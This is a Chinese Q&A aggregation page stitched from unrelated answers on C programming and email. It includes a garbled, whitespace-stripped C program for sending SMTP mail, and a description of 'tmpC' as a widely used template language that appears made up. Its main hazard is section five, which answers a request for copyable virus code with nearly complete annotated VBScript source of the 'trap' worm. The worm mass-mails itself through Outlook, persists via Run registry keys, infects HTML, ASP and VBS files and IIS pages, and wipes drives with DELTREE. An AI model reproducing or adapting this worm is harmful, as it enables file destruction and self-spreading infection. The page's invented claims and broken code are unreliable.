c语言发送邮件
㈠ tmpC语言是什么意思
tmpC语言是指模板C语言，它是一种基于ANSI C语言的模板语言。tmpC语言通常用于Web开发中的模板引擎中，作为一种生成特定格式文本的模板语言，可以用来更方便地生成HTML、XML、邮件等格式的文本。tmpC语言主要是通过在C语言的基础上添加一些扩展命令，来实现对模板文件的处理。
由于tmpC语言具有便捷高效的特点，它被广泛应用于web开发领域。如今，在各种Web应用程序和框架中，使用tmpC语言来生成动态内容已成为一种标准做法。tmpC语言的应用场景包括但不限于电子商务平台、博客、社交网站等。
学习tmpC语言可以帮助我们更好地理解模板引擎的原理和作用。tmpC语言也能够提高网站的开发效率和稳定性，实现代码的重复利用，减少出错率，方便维护。此外，tmpC语言不仅适用于Web开发，还可以用于其他类型的文本生成场景。因此，学习tmpC语言是非常值得的。
㈡ 用C语言编程，做一个邮箱
用C语言基本是做不出来的，要做工程量也极大，一切底层的都要从头做，你可以考虑用c++做，也不是一会儿就做的
㈢ 什么是Microsoft代码
代码会发送到你提供的电子邮件里。
代码发送到你提供的电子邮件里了，去你的邮箱查看就可看到。这个邮箱是你的微软注册时候的电子邮箱账户，登录邮箱查看，安全码是作为一封邮件发给你的，如果你填的邮箱是无法接收的，必须修改可以接收的邮箱，例如QQ邮箱等。
代码就是你的计算机的操作系统的原始代码(由汇编,C语言, C++语言 )书写的，而我们使用的操作系统是已经对源代码进行编译,连接后的最终结果!。对用户的影响目前而言不大，因为泄露的多是未发布的测试版windows 系统，所谓源代码泄露就是说泄露的是底层的核心代码。
microsoft代码是什么
microsoft输入代码意思是程序员用开发工具所支持的语言编写，利用Microsoft安全代码分析扩展，团队可以将安全代码分析添加到其AzureDevOps持续集成和交付CI或CD管道，此分析由Microsoft的安全开发生命周期SDL专家建议进行，一致性UX通过隐藏运行中工具的复杂性来简化安全性。
通过基于NuGet交付工具，团队不再需要管理工具的安装或更新，对生成任务同时使用命令行接口和基本接口，所有用户都可以根据需要对工具进行控制，将Microsoft安全代码分析工具添加到AzureDevOps管道和
㈣ C语言邮件程序 如何发送附件
C语言发送邮件 完整代码：
#include<windows.h>
#include<stdio.h>
#include<WinSock.h>
#include<iostream>
usingnamespacestd;
#pragmacomment(lib,"ws2_32.lib")
structBase64Date6
{
unsignedintd4:6;
unsignedintd3:6;
unsignedintd2:6;
unsignedintd1:6;
};
//协议中加密部分使用的是base64方法
charConvertToBase64(charc6);
voidEncodeBase64(char*dbuf,char*buf128,intlen);
voidSendMail(char*email,char*body);
intOpenSocket(structsockaddr*addr);
intmain()
{
charEmailTo[]="[email protected]";
charEmailContents[]="From:"lucy"<[email protected]> "
"To:"dasiy"<[email protected]> "
"Subject:Hello "
"HelloWorld,HelloEmail!"
//"DATA "//告诉服务器下面是邮件
//下面是邮件头
"TO:[email protected] "
"FROM:[email protected] "
"SUBJECT:SMTP协议测试 "
"Date:2015-04-20 "
"X-Mailer:fice'smailer "
"MIMI-Version:1.0 "
"Content-Type:multipart/mixed;boundary="#BOUNDARY#" "//设置边界值，区分邮件内容的两个回车换行
"Content-Transfer-Encoding:7bit "
"Thisisamulti-partmessageinMIMEformat "
//发送邮件内容头部信息
"--#BOUNDARY# "
"Content-Type:text/plain;charset=gb2312 "
"Content-Transfer-Encoding:printable "
//发送邮件的内容部分
"SMTP协议测试：发送附件/n----byfice2015.04.20 "
//发送附件头部信息
"--#BOUNDARY# "
"Content-Type:text/plain;name=student.txt "
"Content-Transfer-Encoding:base64 "
"Content-Disposition:attachment;filename="test.txt" ";
SendMail(EmailTo,EmailContents);
return0;
}
charConvertToBase64(charuc)
{
if(uc<26)
{
return'A'+uc;
}
if(uc<52)
{
return'a'+(uc-26);
}
if(uc<62)
{
return'0'+(uc-52);
}
if(uc==62)
{
return'+';
}
return'/';
}
//base64的实现
voidEncodeBase64(char*dbuf,char*buf128,intlen)
{
structBase64Date6*ddd=NULL;
inti=0;
charbuf[256]={0};
char*tmp=NULL;
charcc=' ';
memset(buf,0,256);
strcpy_s(buf,256,buf128);
for(i=1;i<=len/3;i++)
{
tmp=buf+(i-1)*3;
cc=tmp[2];
tmp[2]=tmp[0];
tmp[0]=cc;
ddd=(structBase64Date6*)tmp;
dbuf[(i-1)*4+0]=ConvertToBase64((unsignedint)ddd->d1);
dbuf[(i-1)*4+1]=ConvertToBase64((unsignedint)ddd->d2);
dbuf[(i-1)*4+2]=ConvertToBase64((unsignedint)ddd->d3);
dbuf[(i-1)*4+3]=ConvertToBase64((unsignedint)ddd->d4);
}
if(len%3==1)
{
tmp=buf+(i-1)*3;
cc=tmp[2];
tmp[2]=tmp[0];
tmp[0]=cc;
ddd=(structBase64Date6*)tmp;
dbuf[(i-1)*4+0]=ConvertToBase64((unsignedint)ddd->d1);
dbuf[(i-1)*4+1]=ConvertToBase64((unsignedint)ddd->d2);
dbuf[(i-1)*4+2]='=';
dbuf[(i-1)*4+3]='=';
}
if(len%3==2)
{
tmp=buf+(i-1)*3;
cc=tmp[2];
tmp[2]=tmp[0];
tmp[0]=cc;
ddd=(structBase64Date6*)tmp;
dbuf[(i-1)*4+0]=ConvertToBase64((unsignedint)ddd->d1);
dbuf[(i-1)*4+1]=ConvertToBase64((unsignedint)ddd->d2);
dbuf[(i-1)*4+2]=ConvertToBase64((unsignedint)ddd->d3);
dbuf[(i-1)*4+3]='=';
}
return;
}
//发送邮件
voidSendMail(char*email,char*body)
{
intsockfd={0};
charbuf[1500]={0};
charrbuf[1500]={0};
charlogin[128]={0};
charpass[128]={0};
WSADATAWSAData;
structsockaddr_intheir_addr={0};
WSAStartup(MAKEWORD(2,2),&WSAData);
memset(&their_addr,0,sizeof(their_addr));
their_addr.sin_family=AF_INET;
their_addr.sin_port=htons(25);
hostent*hptr=gethostbyname("smtp.126.com");
memcpy(&their_addr.sin_addr.S_un.S_addr,hptr->h_addr_list[0],hptr->h_length);
printf("IPofsmpt.126.comis:%d:%d:%d:%d ",
their_addr.sin_addr.S_un.S_un_b.s_b1,
their_addr.sin_addr.S_un.S_un_b.s_b2,
their_addr.sin_addr.S_un.S_un_b.s_b3,
their_addr.sin_addr.S_un.S_un_b.s_b4);
//连接邮件服务器，如果连接后没有响应，则2秒后重新连接
sockfd=OpenSocket((structsockaddr*)&their_addr);
memset(rbuf,0,1500);
while(recv(sockfd,rbuf,1500,0)==0)
{
cout<<"reconnect..."<<endl;
Sleep(2);
sockfd=OpenSocket((structsockaddr*)&their_addr);
memset(rbuf,0,1500);
}
cout<<rbuf<<endl;
//EHLO
memset(buf,0,1500);
sprintf_s(buf,1500,"EHLOHYL-PC ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"EHLOREceive:"<<rbuf<<endl;
//AUTHLOGIN
memset(buf,0,1500);
sprintf_s(buf,1500,"AUTHLOGIN ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"AuthLoginReceive:"<<rbuf<<endl;
//USER
memset(buf,0,1500);
sprintf_s(buf,1500,"[email protected]");//你的邮箱账号
memset(login,0,128);
EncodeBase64(login,buf,strlen(buf));
sprintf_s(buf,1500,"%s ",login);
send(sockfd,buf,strlen(buf),0);
cout<<"Base64UserName:"<<buf<<endl;
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"UserLoginReceive:"<<rbuf<<endl;
//PASSWORD
sprintf_s(buf,1500,"********");//你的邮箱密码
memset(pass,0,128);
EncodeBase64(pass,buf,strlen(buf));
sprintf_s(buf,1500,"%s ",pass);
send(sockfd,buf,strlen(buf),0);
cout<<"Base64Password:"<<buf<<endl;
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"SendPasswordReceive:"<<rbuf<<endl;
//MAILFROM
memset(buf,0,1500);
sprintf_s(buf,1500,"MAILFROM:<[email protected]> ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"setMailFromReceive:"<<rbuf<<endl;
//RCPTTO第一个收件人
sprintf_s(buf,1500,"RCPTTO:<%s> ",email);
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"TellSendtoReceive:"<<rbuf<<endl;
//DATA准备开始发送邮件内容
sprintf_s(buf,1500,"DATA ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"SendMailPrepareReceive:"<<rbuf<<endl;
//发送邮件内容， . 内容结束标记
sprintf_s(buf,1500,"%s . ",body);
send(sockfd,buf,strlen(buf),0);//发送邮件，不带附件的内容
//用二进制方式读取附件文件内容并转为base64格式
FILE*pf=fopen("D:\test.txt","rb");
fseek(pf,0,SEEK_END);
intfilelen=ftell(pf);
char*filebuf=(char*)malloc(filelen);
char*filebase64=(char*)malloc(filelen*2);
memset(filebase64,0,filelen*2);
fseek(pf,0,SEEK_SET);
fread(filebuf,1,filelen,pf);
EncodeBase64(filebase64,filebuf,filelen);
send(sockfd,filebase64,strlen(filebase64),0);//发送邮件的内容
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"SendMailReceive:"<<rbuf<<endl;
//QUIT
sprintf_s(buf,1500,"QUIT ");
send(sockfd,buf,strlen(buf),0);
memset(rbuf,0,1500);
recv(sockfd,rbuf,1500,0);
cout<<"QuitReceive:"<<rbuf<<endl;
//清理工作
closesocket(sockfd);
WSACleanup();
return;
}
//打开TCPSocket连接
intOpenSocket(structsockaddr*addr)
{
intsockfd=0;
sockfd=socket(PF_INET,SOCK_STREAM,0);
if(sockfd<0)
{
cout<<"Opensockfd(TCP)error!"<<endl;
exit(-1);
}
if(connect(sockfd,addr,sizeof(structsockaddr))<0)
{
cout<<"Connectsockfd(TCP)error!"<<endl;
exit(-1);
}
returnsockfd;
}
㈤ 给个C语言病毒代码.....要复制的....越长越好
下面就对“陷阱”的发作过程和源代码作详细的揭密。
病毒具有自身加密能力(使用 javaScript 编码技术)，使得普通用户无法看到病毒原码，但在被感染 VBS 文件中并没有加密，于是作为一个入口点，我非常轻松地得到所有源码。
'@ thank you! make use of other person to get rid of an enemy, trap _2001
'这句话的意思可能是“借刀杀人”，然后是病毒名称“陷阱”
on error resume next
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE
dim whb(), title(10)
smailc = 4
Redim whb(smailc) ’白宫相关人员邮件名单
whb(0) = "[email protected]"
whb(1) = "[email protected] "
whb(2) = "[email protected]"
whb(3) = "[email protected]"
'发送邮件的主题
title(0) = "Thanks for helping me!"
title(1) = "The police are investigating the robbery"
title(2) = "an application for a job "
title(3) = "The aspects of an application process pertinent to OSI"
title(4) = "What a pleasant weather. Why not go out for a walk?"
title(5) = "These countries have gone / been through too many wars"
title(6) = "We've fixed on the 17th of April for the wedding"
title(7) = "The wind failed and the sea returned to calmness."
title(8) = "the sitting is open!"
title(9) = ""
defpath = "C:\Readme.html" ' 病毒文件
MAX_SIZE = 100000 ' 定义传染文件的最大尺寸
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
main
sub main() '主程序
on error resume next
dim w_s
w_s= WScript.ScriptFullName '得到病毒文件本身的路径
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象
if getErr then '辨认病毒状态
Randomize '初始化随机种子
ra = int(rnd() * 7) '产生随机数
doucment.write title(ra) ' 写随机内容
ExecuteMail '执行邮件状态时的程序
else
ExecutePage '执行 WEB 页状态时的程序
end if
else
ExecuteVbs '执行 VBS 文件状态时的程序
end if
end sub
Function getErr() 忽略错误
if Err.number<>0 then
getErr=true
Err.Clear
else
getErr=false
end if
end function
sub ExecutePage() 'WEB 页状态时的程序
on error resume next
dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf
Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代码
Js_Str = GetJavaScript() ' 得到 Javascript 代码
Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密过的脚本代码
Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代码
Gf
'定义病毒文件的路径
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system.dll"
'创建病毒文件
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf2, 2, true)
vf.Write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdf2, 2, true)
vf.write Html_Str
vf.close
set vf = fso.OpenTextFile (wdf3, 2, true)
vf.write Code_Str
vf.close
修改注册表，让病毒文件在每一次计算机启动自动执行
Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""
SendMail ' 执行发送邮件程序
Hackpage ' 执行感染网站程序
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then '遍历所有本地硬盘和网络共享硬盘
call SearchHTML(x & "\") '执行文件感染程序
end if
next
if TestUser then '检查用户
Killhe 执行删除文件操作
else
if Month(Date) & Day(Date) = "75" then '如系统时间为 7月5日
set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) ’创建系统攻击文件
vf.write MakeScript ("window.navigate ('c:/con/con');", false)
vf.close
Writereg MSWKEY & "CurrentVersion\Run\75", w2 & "75.htm", "" '自动启动
window.navigate "c:/con/con" '立刻蓝屏，利用 Windows BUG，能引起 Win9X 系统100%死机（即无法恢复的蓝屏）
else '如不是7.5
if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 删除75.htm
end if
end if
if fso.FileExists(defpath) then fso.DeleteFile defpath ' 删除 C:\Readme.html 病毒文件
end sub
sub ExecuteMail() '邮件状态时执行的程序
on error resume next
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib") '创建 TypeLib对象
with Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write() '创建 C:\Readme.html 文件
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口
end sub
sub ExecuteVbs() ' 同理，如病毒文件是 VBS 时所执行的程序
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
set vf = fso.OpenTextFile (w2 & "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x & "\")
end if
next
if TestUser then Killhe
end sub
sub Gf() '得到系统路径
w1=fso.GetSpecialFolder(0) & "\"
w2=fso.GetSpecialFolder(1) & "\"
end sub
function Readreg(key_str) '读注册表
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nothing
end function
function Writereg(key_str, Newvalue, vtype) '写注册表
set tmps = CreateObject("WScript.Shell")
if vtype="" then
tmps.RegWrite key_str, Newvalue
else
tmps.RegWrite key_str, Newvalue, vtype
end if
set tmps = Nothing
end function
function MakeHtml(Sbuffer, iHTML) '创建HTML 文件的完整代码
dim ra
Randomize
ra = int(rnd() * 7)
MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _
"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _
"<" & "/BOAD><" & "/HTML>"
end Function
function MakeScript(Codestr, iHTML) '此程序是病毒进行自我加密过程,较为复杂，不再描述
if iHTML then
dim DocuWrite
DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _
"jword" & "+'\n</'" & "+'SCRIPT>');"
DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _
"nword" & "+'\n</'" & "+'SCRIPT>');"
MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _
chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"
else
MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"
end if
end function
function GetScriptCode(Languages) ' 得到不同脚本语言的代码
dim soj
for each soj in document.scripts
if LCase(soj.Language) = Languages then
if Languages = "javascript" then
if len(soj.Text)> 200 then
else
GetScriptCode = soj.Text
exit function
end if
else
GetScriptCode = soj.Text
exit function
end if
end if
next
end function
function GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
end function
function TestUser() '检测用户过程
on error resume next
dim keys(6), i, tmpStr, Wnet
'特定用户关键词
keys(0) = "white home"
keys(1) = "central intelligence agency"
keys(2) = "bush"
keys(3) = "american stock exchang"
keys(4) = "chief executive"
keys(5) = "usa"
TestUser = false
Set Wnet = CreateObject("WScript.Network") '创建网络对象
'下面一共3个循环，作用一样，是检查用户的 Domain、用户名和计算机名是否含有以上的5个关键词语，一旦含有程序将返回”真”的条件，从而对这些用户的文件进行疯狂删除。
tmpStr = LCase(Wnet.UserName) '
for i=0 to 4
if InStr(tmpStr, keys(i)) > 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.ComputerName)
for i=0 to 4
if InStr(tmpStr, keys(i)) > 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.UserDomain)
for i=0 to 4
if InStr(tmpStr, keys(i)) >0 then
TestUser=true
exit function
end if
next
Set Wnet = Nothing
end function
function SendMail() '发送文件过程
on error resume next
dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
'首先向 OutLook 地址簿发送带能直接感染文件的已加密的病毒代码和HTML 附件
主题是随机的，此过程与“欢乐时光“类似，所以不再描述
Randomize
at=fso.GetSpecialFolder(1) & "\Readme.html"
set Oa = CreateObject("Outlook.Application")
set wab = Oa.GetNameSpace("MAPI")
for j = 1 to wab.AddressLists.Count
eins = wab.AddressLists(j)
wreg=Readreg (HCUW & eins)
if (wreg="") then wreg = 1
Eaec = eins.AddressEntries.Count
if (Eaec > Int(wreg)) then
for x = 1 to Eaec
arrsm = wab.AddressEntries(x)
areg = Readreg(HCUW & arrsm)
if (areg = "") then
set fm = wab.CreateItem(0)
with fm
ra = int(rnd() * 7)
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Attachments at
.Send
Writereg HCUW & arrsm, 1, "REG_DWORD"
end with
end if
next
end if
Writereg HCUW & eins, Eaec, ""
next
'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国政府的极度不满。
for j = 1 to smailc
arrsm = whb(j)
set fm = wab.CreateItem(0)
ra = int(rnd() * 7)
with fm
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Send
end with
next
set Oa = Nothing
window.setTimeout "SendMail()", 5000 '每隔 5 秒种重复发送
end function
sub SearchHTML(Path) '搜索可传染文件的过程
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub
if Path <> "E:\" then exit sub
set pfo = fso.GetFolder(Path)
set psfo = pfo.SubFolders
for each ps in psfo
SearchHTML(ps.Path)
set pf = ps.Files
for each pfi in pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染，如未被感染则将已加密的病毒代码插入文件头，这样文件一旦执行也会执行病毒代码，而且不会影响原文件的正常执行。
if Code_Str<>"" then AddHead pfi.Path, pfi, 1
elseif ext= "vbs" then '如是 vbs 文件，则插入未加密的病毒代码
AddHead pfi.Path,pfi, 2
end if
next
next
end sub
sub Killhe() '全盘删除文件过程
on error resume next
dim codeText, ko,adi, kd, kh, ks,kf,kfs
codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_
"DELTREE c:\" '将删除C盘的命令插入Autoexec.bat 中，下次开机时，删除整个硬盘，并没有任何提示
set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)
ko.Write vbcrlf & codeText
ko.Close
'接着立刻删除其它盘的所有文件
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 then
set kd = fso.GetFolder(x & "\")
set kfs = kd.Files
for each kf in kfs
kf.Delete
next
set ks = kd.SubFolders
for each kh in ks
kh.Delete
next
end if
next
do while 1 '让系统立刻死机
window.open ""
loop
end sub
sub Hackpage() ' 此过程是直接攻击 Mircosoft IIS 服务器主页过程
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
'判断是否为网站，如是则将已加密的带病毒代码插入文件头，从而直接传染浏览该网站的用户
set fi = fso.GetFile(H & "\index.htm")
AddHead H & "\index.htm",fi,1
end if
end sub
sub AddHead(Path, f, t) '此过程是病毒传染文件具体过程
on error resume next
dim tso, buffer,sr
if f.size > MAX_SIZE then exit sub '传染大小小于100K的文件
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then
set tso = fso.OpenTextFile(Path, 2, true)
tso.Write Code_Str & vbcrlf & buffer '插入到文件头
tso.close
end if
else
if mid(buffer, 3, 2) <> "'@" then
tso.close
sr=w2 & "user.dll"
if fso.FileExists(sr) then fso.CopyFile sr, Path
end if
end if
end sub
虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。
㈥ C语言设计个人通讯录管理系统
1、创建学生社团管理系统的欢迎界面，该欢迎界面以图片的方式呈现，系统启动时再屏幕中居中显示。
